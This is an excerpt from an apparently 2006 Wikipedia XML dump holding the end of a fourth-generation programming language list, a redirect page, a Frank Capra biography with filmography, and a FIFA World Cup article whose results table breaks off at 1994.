**[[SQL]]

*Report generators
**[[BuildProfessional]]
**[[GEMBase]]
**IDL-PV/WAVE
**[[LINC 4GL|LINC]]
**[[Metafont]]
**[[Oracle Reports]]
**[[PostScript]]
**[[RPG programming language|RPG-II]]
**[[S programming language|S]]
**Gauss
**[[Mathematica]]

*Data manipulation, analysis, and reporting languages
**[[Clarion Programming Language]]
**[[Ab Initio]]
**[[ABAP]]
**[[Aubit-4GL]]
**[[DSM Application Software Library|DASL]] 
**[[FOCUS]]
**[[GraphTalk]]
**[[Informix-4GL]]
**[[Nomad software|Nomad]]
**[[Ramis software|Ramis]]
**[[SAS Institute|SAS]]
**[[Synon]]

*Data-stream languages
**APE
**AVS
**Iris Explorer

*Screen painters and generators
**Oracle Forms
**[[Unify Accell]]

*[[GUI]] creators
**[[4th Dimension (Software)]]
**[[Delphi programming language]]
**[[eDeveloper]]
**[[MATLAB]]'s GUIDE
**[[Revolution programming language]]
**[[Visual Basic]]
**[[OpenROAD]]

==See also==
*[[first-generation programming language]]
*[[second-generation programming language]]
*[[third-generation programming language]]
*[[fifth-generation programming language]]
*[[Domain-specific programming language]]

==External links==
* [http://www.soi.city.ac.uk/~tony/dbms/4ges.html Fourth Generation Environments]
* [http://aubit4gl.sourceforge.net/ 4GL GPL/GNU OpenSource development tools project]
* [http://www.google.com/url?sa=t&amp;ct=res&amp;cd=10&amp;url=http%3A//csdl.computer.org/comp/proceedings/hicss/2002/1435/09/14350279.pdf&amp;ei=pgcWQ6CwKsKYYMfF9OAI Domain-Specific Languages for Software Engineering] (Compares 4GLs to DSLs)
{{FOLDOC}}

[[Category:Programming languages]]

[[de:4GL]]
[[fr:L4G]]
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[[pl:4GL]]</text>
    </revision>
  </page>
  <page>
    <title>Felis catus Domesticus</title>
    <id>11368</id>
    <revision>
      <id>15909118</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cat]]
</text>
    </revision>
  </page>
  <page>
    <title>Frank Capra</title>
    <id>11369</id>
    <revision>
      <id>41037869</id>
      <timestamp>2006-02-24T17:28:10Z</timestamp>
      <contributor>
        <username>Stubblyhead</username>
        <id>543517</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Capra.jpg|frame|Frank Capra]]

'''Frank Capra''' ([[May 18]], [[1897]] &amp;ndash; [[September 3]], [[1991]]) was an [[Italian-American]] [[film director]] and a major creative force behind a number of highly popular films.

Born '''Francesco Rosario Capra''' in [[Bisacquino]], Sicily, Italy, Capra moved with his family to America in [[1903]], settling in [[Los Angeles, California]], where he graduated from Throop Institute (later renamed the [[California Institute of Technology]]) with a B.S. degree in chemical engineering. On [[October 18]], [[1918]], he joined the [[United States Army]]. While at the [[Presidio]], he got [[Spanish influenza]] and was discharged on [[December 13]]. In [[1920]], he became a [[naturalized citizen]] of the United States.

Like other prominent directors of the thirties and forties, Capra began his career in silent films, notably by directing and writing silent film comedies starring [[Harry Langdon]] and the ''[[Our Gang]]'' kids. In [[1930]] Capra went to work for [[Mack Sennett]] and then moved to [[Columbia Pictures|Columbia]] where he formed a close association with screenwriter Robert Riskin (husband of [[Fay Wray]]) and cameraman [[Joseph Walker]]. However, in [[1940]] [[Sidney Buchman]] replaced Riskin as writer.

After the 1934 [[Academy Award|Oscar]] winning romantic comedy ''[[It Happened One Night]]'', Capra directed a steady stream of films for Columbia intended to be inspirational and humanitarian. The best known are ''[[Mr. Deeds Goes to Town]]'', the original ''[[Lost Horizon (1937)|Lost Horizon]]'', and ''[[Mr. Smith Goes to Washington]]''.  His ten year break from screwball comedy ended with the comedy classic ''[[Arsenic and Old Lace (film)|Arsenic and Old Lace]]''.

Between [[1942]] and [[1948]], when he produced ''[[State of the Union (film)|State of the Union]]'', Capra also directed or co-directed eight war documentaries including ''Prelude to War'' (1942), ''The Nazis Strike'' (1942), ''The Battle of Britain'' (1943), ''Divide and Conquer'' (1943), ''Know Your Enemy Japan'' (1945), ''Tunisian Victory'' (1945) and ''Two Down and One to Go'' (1945). His Academy Award-winning documentary series, ''[[Why We Fight]]'', is widely considered a masterpiece of [[propaganda]], surpassed only by [[Leni Riefenstahl]]'s ''[[Triumph of the Will]]''; Capra was faced with the task of convincing an isolationist nation to enter the war, desegregate the troops, and ally with the Russians, among other things.

Capra's [[1946]] ''[[It's a Wonderful Life]]'' (another inspirational and humanitarian themed film) was the first picture for [[Jimmy Stewart]] after his service in [[World War II]]. The film was ignored on its initial release, but it became a favorite for television progamming on [[Christmas]] Day after its [[copyright]] expired. 

Capra's final theatrical film was [[1961]]'s ''[[Pocketful of Miracles]]'', with [[Glenn Ford]] and [[Bette Davis]]. He had planned to do a [[science fiction]] film later in the decade but never even got around to pre-production, but he did end up producing several television specials for the Bell Telephone System dealing with science.

In [[1971]], Capra published his autobiography, ''The Name Above the Title''. Though unreliable in its details, it offers a compelling self-portrait.

Capra was also the subject of a [[1991]] biography by Joseph &lt;nowiki&gt;McBride&lt;/nowiki&gt; entitled ''Frank Capra: The Catastrophe of Success''. McBride corrects many of the impressions left by Capra's autobiography.

Capra won an [[Academy Award for Directing]] in 1934 for ''It Happened One Night'', in 1936 for ''Mr. Deeds Goes to Town'', and in 1938 for ''You Can't Take It with You''. ''It Happened One Night'' and ''You Can't Take It with You'' also won an [[Academy Award for Best Picture]].

Frank Capra passed away in [[La Quinta, California]] of a [[heart attack]] in his sleep in 1991 at the age of 94 and was interred in the Coachella Valley Cemetery, [[Coachella, California]].

His producer and son, [[Frank Capra, Jr.]], is president of [[Screen Gems]], in [[Wilmington, North Carolina]], one of the three children born to Capra's second wife, [[Lou Capra]]. Frank Capra's grandson is [[Frank Capra III]], and  his great-grandson [[Francis Capra]] plays the role of Eli &quot;Weevil&quot; Navarro on the popular series ''[[Veronica Mars]]''.

Quote from Capra: &quot;There are no rules in filmmaking, only sins. And the [[cardinal sin]] is dullness.&quot;

==Filmography==
*''[[The Strong Man]]'' (1926)
*''[[For the Love of Mike]]'' (1927)
*''[[Long Pants]]'' (1927)
*''[[The Power of the Press]]'' (1928)
*''[[Say It with Sables]]'' (1928)
*''[[So This Is Love]]'' (1928)
*''[[Submarine (movie)|Submarine]]'' (1928)
*''[[The Way of the Strong]]'' (1928)
*''[[That Certain Thing]]'' (1928)
*''[[The Matinee Idol]]'' (1928)
*''[[Flight (1929 film)|Flight]]'' (1929)
*''[[The Donovan Affair]]'' (1929)
*''[[The Younger Generation]]'' (1929)
*''[[Rain or Shine]]'' (1930)
*''[[Ladies of Leisure]]'' (1930)
*''[[Dirigible (movie)|Dirigible]]'' (1931)
*''[[The Miracle Woman]]'' (1931)
*''[[Platinum Blonde (film)|Platinum Blonde]]'' (1931)
*''[[Forbidden (1932 film)|Forbidden]]'' (1932)
*''[[American Madness]]'' (1932)
*''[[The Bitter Tea of General Yen]]'' (1932)
*''[[Lady for a Day]]'' (1933) - Nominated for best director Oscar.
*''[[It Happened One Night]]'' (1934) - Won best director and best picture Oscars.
*''[[Broadway Bill]]'' (1934)
*''[[Opera Hat]]'' (1935)
*''[[Mr. Deeds Goes to Town]]'' (1936) - Nominated for best picture Oscar and won best director Oscar.
*''[[Lost Horizon (film)|Lost Horizon]]'' (1937) - Nominated for best picture Oscar.
*''[[You Can't Take It with You]]'' (1938) - Won best picture and best director Oscars.
*''[[Mr. Smith Goes to Washington]]'' (1939) - Nominated for best picture and best director Oscars.
*''[[Meet John Doe]]'' (1941)
*''[[Arsenic and Old Lace (film)|Arsenic and Old Lace]]'' (1944)
*''[[It's a Wonderful Life]]'' (1946) - Nominated for best picture and best director Oscars.
*''[[State of the Union (film)|State of the Union]]'' (1948)
*''[[Riding High]]'' (1950)
*''[[Here Comes the Groom]]'' (1951)
*''[[A Hole in the Head]]'' (1959)
*''[[Pocketful of Miracles]]'' (1961)

==Bibliographies==

*[http://www.lib.berkeley.edu/MRC/capra.html Frank Capra Bibliography (via UC Berkeley)]
*[http://eeweems.com/capra/ Frank Capra movie analysis, bio, books, and misc.]

[[Category:1897 births|Capra, Frank]]
[[Category:1991 deaths|Capra, Frank]]
[[Category:Best Director Oscar|Capra, Frank]]
[[Category:Hal Roach Studios filmmakers|Capra, Frank]]
[[Category:Hollywood Walk of Fame|Capra, Frank]]
[[Category:Italian-Americans|Capra, Frank]]
[[Category:Natives of Sicily|Capra, Frank]]
[[Category:Naturalized citizens of the United States|Capra, Frank]]
[[Category:National Medal of Arts recipients|Capra, Frank]]
[[Category:American film directors|Capra, Frank]]

[[de:Frank Capra]]
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[[zh:弗兰克·卡普拉]]</text>
    </revision>
  </page>
  <page>
    <title>FIFA World Cup</title>
    <id>11370</id>
    <restrictions>move=sysop</restrictions>
    <revision>
      <id>42160395</id>
      <timestamp>2006-03-04T05:31:35Z</timestamp>
      <contributor>
        <username>Conscious</username>
        <id>283279</id>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">[[Image:FIFA Worldcup Copy for Germany 1990.jpg|thumb|1990 copy of the World Cup Trophy awarded to West Germany.]]
The '''FIFA World Cup''' (often called '''Football World Cup''', '''The World Cup''', or simply '''World Cup''') is the most important competition in international [[football (soccer)|football]], and the world's most representative team sport event. Organised by [[FIFA|Federation Internationale de Football Association (FIFA)]], the sport's governing body, the World Cup is contested by the [[list of national football teams|men's national football teams]] of FIFA member nations. While the championship is awarded every four years (except in times of widespread war), it is more of an ongoing event as the qualifying rounds of the competition (which narrow the field down to the final 32 teams) take place over the three years leading up to the final rounds. 

The final tournament phase (often called the &quot;Finals&quot;) involves 32 national teams competing over a four-week period in a previously nominated host nation. These games are the most widely-viewed sporting event in the world. Only seven nations have ever won the World Cup Finals. [[Brazil national football team|Brazil]] are the current holders, as well as the most successful World Cup team, having won the tournament five times, while [[Germany national football team|Germany]] and [[Italy national football team|Italy]] follow with three titles each. The next football World Cup Finals will be held in [[Football World Cup 2006|Germany]] between [[June 9]] and [[July 9]], [[2006]].

==History==
===Previous international competitions=== 

The World Cup was not the first international football competition. [[Amateur]] football was introduced at the [[Olympic Games]] &amp;mdash; an international multi-sport event &amp;mdash; as [[Football at the 1908 Summer Olympics|part of the official programme]] in [[1908 Summer Olympics|1908]].

Sir [[Thomas Lipton]] organised the [[Sir Thomas Lipton Trophy]] tournament in [[Turin]] in 1909, which is sometimes described as ''The First World Cup''. [[Italy]], [[Germany]] and [[Switzerland]] sent their most prestigious professional club sides to the competition. However, [[The Football Association]] of [[England]] refused to be associated with it. 

Not wishing to have Britain unrepresented in the competition, Lipton invited [[West Auckland FC]], an amateur side from the north-east of England and mostly made up of [[coal miner|coal miners]], to take part. West Auckland won the tournament and returned to Italy in 1911 to defend their title. In this second competition, West Auckland beat [[Juventus]] 6-1 in the final. They were given the trophy to keep forever, per the rules of the competition. 

The first intercontinental football competition took place at the Olympic games of [[1924 Summer Olympics|1924]], and was won by [[Uruguay national football team|Uruguay]].&lt;ref name=&quot;FIFA1930&quot;&gt;[http://fifaworldcup.yahoo.com/06/en/p/pwc/1930.html Uruguay 1930] FIFA World Cup site. Retrieved on January 9, 2006.&lt;/ref&gt; [[1928 Summer Olympics|Four years later]], they successfully defended this title. FIFA named Uruguay the host country for the first official FIFA World Cup as a result.

===The first official World Cup===
The [[1932 Summer Olympics]] held at [[Los Angeles]] in the [[United States]] was not supposed to include football as part of the programme, due to the low popularity of [[Soccer in the United States|football in the United States]]. FIFA and the [[International Olympic Committee|IOC]] also disagreed over the status of amateur players, and so football was dropped from the Games.&lt;ref&gt;[http://www.bbc.co.uk/dna/h2g2/A565148 The Football World Cup - An Introduction], [[h2g2]]. Retrieved on March 1, 2006.&lt;/ref&gt;

FIFA president [[Jules Rimet]] thus set about organising the [[Football World Cup 1930|inaugural World Cup tournament]] to be held in [[Uruguay]] in 1930. The national associations of selected nations were invited to send a team, but the choice of Uruguay as a venue for the competition meant a long and costly trip across the [[Atlantic Ocean]] for European sides. Until two months before the start of the competition, no European country had promised to send a team.&lt;ref name=&quot;FIFA1930&quot; /&gt; Rimet eventually persuaded teams from Belgium, France, Romania, and Yugoslavia to make the trip. Eventually 13 nations took part — seven from [[South America]], four from [[Europe]] and two from [[North America]]. 

[[France national football team|France]] and the [[United States men's national soccer team|USA]] simultaneously won the first-ever World Cup matches, beating [[Mexico national football team|Mexico]] 4-1 and [[Belgium national football team|Belgium]] 3-0, respectively. The first goal in World Cup history was scored by [[Lucien Laurent]] of France. Not long after, the first World Cup [[hat-trick]] was accomplished by [[Bert Patenaude]] of the USA in the Americans' 3-0 win against [[Paraguay national football team|Paraguay]].

In the final, [[Uruguay national football team|Uruguay]] defeated [[Argentina national football team|Argentina]] 4-2 in front of a crowd of 93,000 people in [[Montevideo]], and became the first nation to win a World Cup.&lt;ref&gt;[http://fifaworldcup.yahoo.com/releases/en/fwc_origin_en.pdf FIFA World Cup Origin] FIFA Media Release. Retrieved on January 9, 2006.&lt;/ref&gt;

===Growth===
The issues facing the early World Cup tournaments were travel (for teams outside the continent of the host nations), and war,  as [[World War II]] and its aftermath forced the cancellation of the 1942 and 1946 competitions.

The British teams withdrew from FIFA in 1920, partly out of unwillingness to play against the countries they had been at war with, partly out of protest against a foreign influence to football.&lt;ref&gt;[http://www.bbc.co.uk/scotland/sportscotland/asportingnation/article/0001/index.shtml Scotland and the 1950 World Cup], BBC. Retrieved on March 1, 2006.&lt;/ref&gt; They entered the World Cup for the first time in [[Football World Cup 1950|1950]], following FIFA's invitation.

In the tournaments between [[Football World Cup 1934|1934]] and [[Football World Cup 1978|1978]], 16 teams qualified for the finals (except in a few cases where teams withdrew after qualifying). Most were from Europe and Latin America, with a very small minority from [[Africa]], [[Asia]] and [[Oceania]]. These teams were usually easily defeated by the European and Latin American teams (with the notable exception of [[North Korea national football team|North Korea]], who reached the [[Football World Cup 1966|1966]] quarterfinals).

The finals were expanded to 24 teams in [[Football World Cup 1982|1982]], then 32 in [[Football World Cup 1998|1998]], allowing more teams from Africa, Asia and North America to take part. In recent years, these comparatively newer participants have enjoyed more success, with [[Cameroon national football team|Cameroon]] in [[Football World Cup 1990|1990]], and [[South Korea national football team|South Korea]], [[Senegal national football team|Senegal]] and [[United States men's national soccer team|USA]] in [[Football World Cup 2002|2002]] all reaching the elimination rounds. With as many as 197 nations attempting to qualify for the 2006 edition, the World Cup is now a truly global event.

A spin-off tournament, the [[FIFA Women's World Cup]], was first held in 1991. It is similar to the men's tournament in the format, but so far not as popular.

==Trophy==
:{{main|Football World Cup Trophy}}
[[Image:Wohlfahrtsbriefmarke-fifa.jpg|right|thumb|[[Football World Cup Trophy|FIFA World Cup Trophy]] on a German [[Postage stamp|Stamp]]]]
From 1930 to 1970, the [[Jules Rimet]] Trophy was awarded to the Cup winner. It was originally simply known as the ''World Cup'' or ''Coupe du Monde'' but was renamed in 1946 after the FIFA president who organized the first tournament. In [[Football World Cup 1970|1970]], Brazil's third victory in the tournament entitled them to keep the trophy permanently. This particular trophy, however, was stolen in 1983, and has never been recovered.&lt;ref&gt;[http://fifaworldcup.yahoo.com/06/en/p/h/rimet.html Jules Rimet Cup], FIFA World Cup site. Retrieved on February 27, 2006.&lt;/ref&gt;

After 1970, a new trophy, known as the ''FIFA World Cup Trophy'', was designed. This is not awarded to the winning nation permanently, no matter how many World Cups they win.&lt;ref&gt;[http://2002.fifaworldcup.yahoo.com/02/en/pf/h/t2.html The FIFA World Cup™ Trophy], Official Site of The 2002 FIFA World Cup. Retrieved on February 27, 2006.&lt;/ref&gt; Argentina, Germany (both times as West Germany) and Brazil have all won the second trophy twice. It will not be retired until the name plaque has been entirely filled with the names of winning nations in [[2038]].

==Format==
===Qualification===
{{main|FIFA World Cup qualification}}
Since the second World Cup in [[Football World Cup 1934|1934]], qualifying tournaments have been held to thin the field for the final tournament. They are held within the six FIFA continental zones (Africa, Asia, North and Central America and Caribbean, South America, Oceania, Europe), overseen by their respective confederations. For each tournament, FIFA decides the number of places awarded to each of the continental zones beforehand, generally based on the relative strength of the confederations' teams (but also subject to lobbying from the confederations).

Starting from the [[Football World Cup 1938|1938 World Cup]], host nations have received an automatic berth in the finals. It used to be that the defending champion also was so favored, but starting from the [[Football World Cup 2006|2006]] they will have to qualify as well.

Nowadays, the qualification process can start as early as almost three years before the final tournament, and last over a two-year period. The formats of the qualification tournaments differ between confederations. Usually, one or two places are awarded to winners of the Intercontinental Play-offs. For example, the winner of the Oceanian zone and the fifth-placed team from the South American zone entered a play-off to decide which team would qualify for the 2006 Cup.

===Final tournament===
The current final features 32 national teams competing over a month in the previously nominated host nation(s). There are two stages, a group stage and a knockout stage.

In the first, teams are drawn into eight groups of four. Eight teams are [[Single-elimination tournament#Seeding|seeded]] at the draw, and assigned a group. The other teams are drawn at random from their geographic zones.

The basic constraint used since [[1998 Football World Cup|1998]] is that no group contains more than two European teams or more than one team from any other confederation. Each group plays a [[round-robin tournament]], guaranteeing that every qualifying nation will play at least three matches. The last round of matches of each group are held at the same time to ensure fairness. Since [[1994 Football World Cup|1994]], three points have been awarded for a win, one for a draw and none for a loss (before then, winners only received two points). The top two teams from each group advance to the knockout stage. 

In that phase, teams play each other in one-off matches, with [[extra time]] and [[penalty shootout (football)|penalty shootouts]] used to decide the winner, if necessary. In the Round of 16, the winner of each group plays against the runner-up from another group. This is followed by the quarterfinals, the semifinals and the final. The losing semifinalists also contest a third place match.

==Selection of hosts==
{{see|#World Cup summaries}}

At present, the host country of the World Cup is decided six years before the tournament, as voted by FIFA's executive committee.

The World Cups between [[Football World Cup 1930|1930]] and [[Football World Cup 1998|1998]] were all held in either [[Europe]], [[South America]], and [[North America]], with the hosting rights alternating between them. The [[Football World Cup 2002|2002 World Cup]] was the first World Cup held outside the three continents, when the tournament was co-hosted in [[Asia]] for the first time by [[South Korea]] and [[Japan]]. Initially, the two [[Asia|Asian]] countries were competitors in the bidding process. But just before the vote, they agreed with FIFA to co-host the event. However, the rivalry  and distance between them led to organizational and logistical problems. FIFA has said co-hosting will likely not happen again, and in 2004 officially stated that its statutes did not allow co-hosting bids. &lt;ref name=&quot;FIFAreleaseSA&quot;&gt;[http://www.fifa.com/en/media/index/0,1369,101476,00.html Host nation of 2010 FIFA World Cup™ - South Africa], FIFA Media Release, May 15, 2004. Retrieved on January 8, 2006.&lt;/ref&gt;

The decision to award the [[Football World Cup 2006|2006 World Cup]] to [[Germany]] was controversial, since it was widely expected that the tournament would take place in [[South Africa]]. The final tally was 12 votes to 11 in favour of Germany. [[New Zealand]] FIFA member Charles Dempsey, who was instructed to vote for South Africa by the [[Oceania Football Confederation]], abstained from voting at the last minute. If he had voted for the South African bid, the tally would have been 12-12, giving the decision to FIFA President [[Sepp Blatter]], who was widely believed then to have voted for South Africa.&lt;ref&gt;[http://www.soccertimes.com/wagman/2000/jul07.htm &quot;FIFA president Blatter a big loser with Germany getting 2006 World Cup&quot;] by Robert Wagman, ''SoccerTimes'', July 7, 2000. Retrieved on January 8, 2006.&lt;/ref&gt; Dempsey was among eight members of the executive committee to receive a fax by editors of the German satirical magazine [[Titanic (magazine)|Titanic]] on Wednesday, the night before the vote, promising a [[cuckoo clock]] and [[Black Forest]] ham in exchange for voting for Germany. He argued that the pressure from all sides including &quot;an attempt to bribe&quot; him had become too much for him.&lt;ref&gt;[http://www.int.iol.co.za/index.php?set_id=6&amp;click_id=19&amp;art_id=qw962980020648B216 &quot;German magazine takes credit for bribery hoax&quot;], ''IOL'', July 7, 2000. Retrieved on January 8, 2006.&lt;/ref&gt; Consequently, FIFA has decided to rotate the hosting of the final tournaments between its constituent confederations. 

The first World Cup bidding process under continental rotation was the [[Football World Cup 2010|2010 World Cup]]. FIFA accepted five bids from [[Africa]]n nations, and South Africa won.&lt;ref name=&quot;FIFAreleaseSA&quot; /&gt; This will be the first World Cup held in Africa. It will be the largest sporting event ever held on that continent, as the Olympics have yet to visit Africa.

The [[Football World Cup 2014|2014 World Cup]], which FIFA has earmarked for [[South America]], is expected to be held in Brazil since [[CONMEBOL]], the South American Football Confederation, has already made it their choice. Chile and Argentina had shown some interest, hoping to follow the same path as Korea-Japan 2002. 

Several nations have expressed interest in hosting the [[Football World Cup 2018|2018 World Cup]]. However, FIFA has not decided which continent will host either tournament,&lt;ref&gt;[http://www.timesonline.co.uk/article/0,,27-1874286,00.html &quot;Games win inspires bid to host 2018 World Cup&quot;] by John Goodbody, ''The Times'', November 16, 2005. Retrieved on January 8, 2006.&lt;/ref&gt; as they have indicated they might back out of the rotation. Thus it is possible that the 2014 FIFA World Cup may not be held in [[South America]] (though a bid from the continent is a &quot;strong favorite&quot;).

==Media coverage==
[[Image:1966 world cup willie.jpg|right|thumb|100px|Willie, the [[Football World Cup 1966|1966]] mascot]]The World Cup is the most widely-viewed and followed sporting event in the world, exceeding even the [[Olympic Games]].&lt;ref&gt;[http://www.fifa.com/fifa/pub/newsletter/fifanews.6-97.html FIFA Newsletter] by Joseph S. Blatter, FIFA General Secretary, June 1997. Retrieved on January 8, 2006.&lt;/ref&gt; The cumulative audience of the World Cup 2002 event —  summing over all matches — is estimated to be 28.8 billion. 1.1 billion individuals have watched the final match of this tournament. The draw, which decided the distribution of teams into groups, has been watched by 300 million viewers.&lt;ref&gt;[http://www.abc.net.au/sport/content/200512/s1528128.htm &quot;Socceroos face major challenge: Hiddink&quot;], ABC Sport, December 10, 2005. Retrieved on January 8, 2006.&lt;/ref&gt;

Each Football World Cup usually has its own [[mascot]]. ''World Cup Willie'', the mascot for the [[Football World Cup 1966|1966]] competition, was the first World Cup mascot. Mascots for the forthcoming [[Football World Cup 2006|World Cup 2006]] are ''[[Goleo]]'', a [[lion]], and ''[[Pille]]'', a [[football (ball)|football]].
{{seealso|FIFA World Cup mascots}}

==Results==
===World Cup summaries===
{| class=&quot;wikitable&quot; style=&quot;font-size:90%; width: 100%; text-align: center;&quot;
|-
!rowspan=2 width=5%|Year 
!rowspan=2 width=10%|Host 
|width=1% rowspan=22| 
!colspan=3|Final 
|width=1% rowspan=22| 
!colspan=3|Third Place Match 
|-
!width=15%|Winner 
!width=8%|Score 
!width=15%|Runner-up 
!width=15%|3rd Place 
!width=8%|Score 
!width=15%|4th Place 

|-
|1930 &lt;br /&gt; ''[[Football World Cup 1930|Details]]'' 
|[[Uruguay]] 
|{{flagicon|URY}} &lt;br /&gt; '''[[Uruguay national football team|Uruguay]]''' 
|'''4 - 2''' 
|[[Image:Old_Flag_of_Argentina.png|20px]] &lt;br /&gt; [[Argentina national football team|Argentina]] 
|{{flagicon|USA-48}} &lt;br /&gt; [[United States men's national soccer team|USA]] 
{{flagicon|KofY}} &lt;br /&gt; [[Yugoslavia national football team|Yugoslavia]] 
|'''n/a'''&lt;sup&gt;('''[[#1|1]]''')&lt;/sup&gt;
| 

|- style=&quot;background: #D0E6FF;&quot;
|1934 &lt;br /&gt; ''[[Football World Cup 1934|Details]]'' 
|[[Italy]] 
|{{flagicon|Kingdom of Italy}} &lt;br /&gt; '''[[Italy national football team|Italy]]''' 
|'''2 - 1''' &lt;br /&gt; [[Extra time|after extra time]] 
|{{flagicon|TCH}} &lt;br /&gt; [[Czechoslovakia national football team|Czechoslovakia]] 
|{{flagicon|Third Reich}} &lt;br /&gt; [[Germany national football team|Germany]] 
|'''3 - 2''' 
|{{flagicon|AUT}} &lt;br /&gt; [[Austria national football team|Austria]] 

|-
|1938 &lt;br /&gt; ''[[Football World Cup 1938|Details]]'' 
|[[France]] 
|{{flagicon|Kingdom of Italy}} &lt;br /&gt; '''[[Italy national football team|Italy]]''' 
|'''4 - 2''' 
|{{flagicon|HUN}} &lt;br /&gt; [[Hungary national football team|Hungary]] 
|{{flagicon|BRA}} &lt;br /&gt; [[Brazil national football team|Brazil]] 
|'''4 - 2''' 
|{{flagicon|SWE}} &lt;br /&gt; [[Sweden national football team|Sweden]] 

|- style=&quot;background: #D0E6FF;&quot;
|1950 &lt;br /&gt; ''[[Football World Cup 1950|Details]]'' 
|[[Brazil]] 
|{{flagicon|URY}} &lt;br /&gt; '''[[Uruguay national football team|Uruguay]]''' 
|'''n/a'''&lt;sup&gt;('''[[#2|2]]''')&lt;/sup&gt; 
|{{flagicon|BRA}} &lt;br /&gt; [[Brazil national football team|Brazil]] 
|{{flagicon|SWE}} &lt;br /&gt; [[Sweden national football team|Sweden]] 
|'''n/a'''&lt;sup&gt;('''[[#2|2]]''')&lt;/sup&gt; 
|{{flagicon|ESP}} &lt;br /&gt; [[Spain national football team|Spain]] 

|-
|1954 &lt;br /&gt; ''[[Football World Cup 1954|Details]]'' 
|[[Switzerland]] 
|{{flagicon|DEU}} &lt;br /&gt; '''[[Germany national football team|West Germany]]''' 
|'''3 - 2''' 
|{{flagicon|HUN}} &lt;br /&gt; [[Hungary national football team|Hungary]] 
|{{flagicon|AUT}} &lt;br /&gt; [[Austria national football team|Austria]] 
|'''3 - 1''' 
|{{flagicon|URY}} &lt;br /&gt; [[Uruguay national football team|Uruguay]] 

|- style=&quot;background: #D0E6FF;&quot;
|1958 &lt;br /&gt; ''[[Football World Cup 1958|Details]]'' 
|[[Sweden]] 
|{{flagicon|BRA}} &lt;br /&gt; '''[[Brazil national football team|Brazil]]''' 
|'''5 - 2''' 
|{{flagicon|SWE}} &lt;br /&gt; [[Sweden national football team|Sweden]] 
|{{flagicon|FRA}} &lt;br /&gt; [[France national football team|France]] 
|'''6 - 3''' 
|{{flagicon|DEU}} &lt;br /&gt; [[Germany national football team|West Germany]] 

|-
|1962 &lt;br /&gt; ''[[Football World Cup 1962|Details]]'' 
|[[Chile]] 
|{{flagicon|BRA}} &lt;br /&gt; '''[[Brazil national football team|Brazil]]''' 
|'''3 - 1''' 
|{{flagicon|TCH}} &lt;br /&gt; [[Czechoslovakia national football team|Czechoslovakia]] 
|{{flagicon|CHL}} &lt;br /&gt; [[Chile national football team|Chile]] 
|'''1 - 0''' 
|{{flagicon|YUG}} &lt;br /&gt; [[Yugoslavia national football team|Yugoslavia]] 

|- style=&quot;background: #D0E6FF;&quot;
|1966 &lt;br /&gt; ''[[Football World Cup 1966|Details]]'' 
|[[England]] 
|{{flagicon|ENG}} &lt;br /&gt; '''[[England national football team|England]]''' 
|'''4 - 2''' &lt;br /&gt; [[Extra time|after extra time]] 
|{{flagicon|DEU}} &lt;br /&gt; [[Germany national football team|West Germany]] 
|{{flagicon|PRT}} &lt;br /&gt; [[Portugal national football team|Portugal]] 
|'''2 - 1''' 
|{{flagicon|URS}} &lt;br /&gt; [[USSR national football team|Soviet Union]] 

|-
|1970 &lt;br /&gt; ''[[Football World Cup 1970|Details]]'' 
|[[Mexico]] 
|{{flagicon|BRA}} &lt;br /&gt; '''[[Brazil national football team|Brazil]]''' 
|'''4 - 1''' 
|{{flagicon|ITA}} &lt;br /&gt; [[Italy national football team|Italy]] 
|{{flagicon|DEU}} &lt;br /&gt; [[Germany national football team|West Germany]] 
|'''1 - 0''' 
|{{flagicon|URY}} &lt;br /&gt; [[Uruguay national football team|Uruguay]] 

|- style=&quot;background: #D0E6FF;&quot;
|1974 &lt;br /&gt; ''[[Football World Cup 1974|Details]]'' 
|[[West Germany]] 
|{{flagicon|DEU}} &lt;br /&gt; '''[[Germany national football team|West Germany]]''' 
|'''2 - 1''' 
|{{flagicon|NLD}} &lt;br /&gt; [[Netherlands national football team|Netherlands]] 
|{{flagicon|POL}} &lt;br /&gt; [[Poland national football team|Poland]] 
|'''1 - 0''' 
|{{flagicon|BRA}} &lt;br /&gt; [[Brazil national football team|Brazil]] 

|-
|1978 &lt;br /&gt; ''[[Football World Cup 1978|Details]]'' 
|[[Argentina]] 
|[[Image:Old_Flag_of_Argentina.png|20px]] &lt;br /&gt; '''[[Argentina national football team|Argentina]]''' 
|'''3 - 1''' &lt;br /&gt; [[Extra time|after extra time]] 
|{{flagicon|NLD}} &lt;br /&gt; [[Netherlands national football team|Netherlands]] 
|{{flagicon|BRA}} &lt;br /&gt; [[Brazil national football team|Brazil]] 
|'''2 - 1''' 
|{{flagicon|ITA}} &lt;br /&gt; [[Italy national football team|Italy]] 

|- style=&quot;background: #D0E6FF;&quot;
|1982 &lt;br /&gt; ''[[Football World Cup 1982|Details]]'' 
|[[Spain]] 
|{{flagicon|ITA}} &lt;br /&gt; '''[[Italy national football team|Italy]]''' 
|'''3 - 1''' 
|{{flagicon|DEU}} &lt;br /&gt; [[Germany national football team|West Germany]] 
|{{flagicon|POL}} &lt;br /&gt; [[Poland national football team|Poland]] 
|'''3 - 2''' 
|{{flagicon|FRA}} &lt;br /&gt; [[France national football team|France]] 

|-
|1986 &lt;br /&gt; ''[[Football World Cup 1986|Details]]'' 
|[[Mexico]] 
|{{flagicon|ARG}} &lt;br /&gt; '''[[Argentina national football team|Argentina]]''' 
|'''3 - 2''' 
|{{flagicon|DEU}} &lt;br /&gt; [[Germany national football team|West Germany]] 
|{{flagicon|FRA}} &lt;br /&gt; [[France national football team|France]] 
|'''4 - 2''' &lt;br /&gt; [[Extra time|aet]] 
|{{flagicon|BEL}} &lt;br /&gt; [[Belgium national football team|Belgium]] 

|- style=&quot;background: #D0E6FF;&quot;
|1990 &lt;br /&gt; ''[[Football World Cup 1990|Details]]'' 
|[[Italy]] 
|{{flagicon|DEU}} &lt;br /&gt; '''[[Germany national football team|West Germany]]''' 
|'''1 - 0''' 
|{{flagicon|ARG}} &lt;br /&gt; [[Argentina national football team|Argentina]] 
|{{flagicon|ITA}} &lt;br /&gt; [[Italy national football team|Italy]] 
|'''2 - 1''' 
|{{flagicon|ENG}} &lt;br /&gt; [[England national football team|England]] 

|-
|1994 &lt;br /&gt; ''[[Football World Cup 1994|Details]]'' 
|[[United States|USA]] 
|{{flagicon|BRA}} &lt;br /&gt; '''[[Brazil national football team|Brazil]]''' 
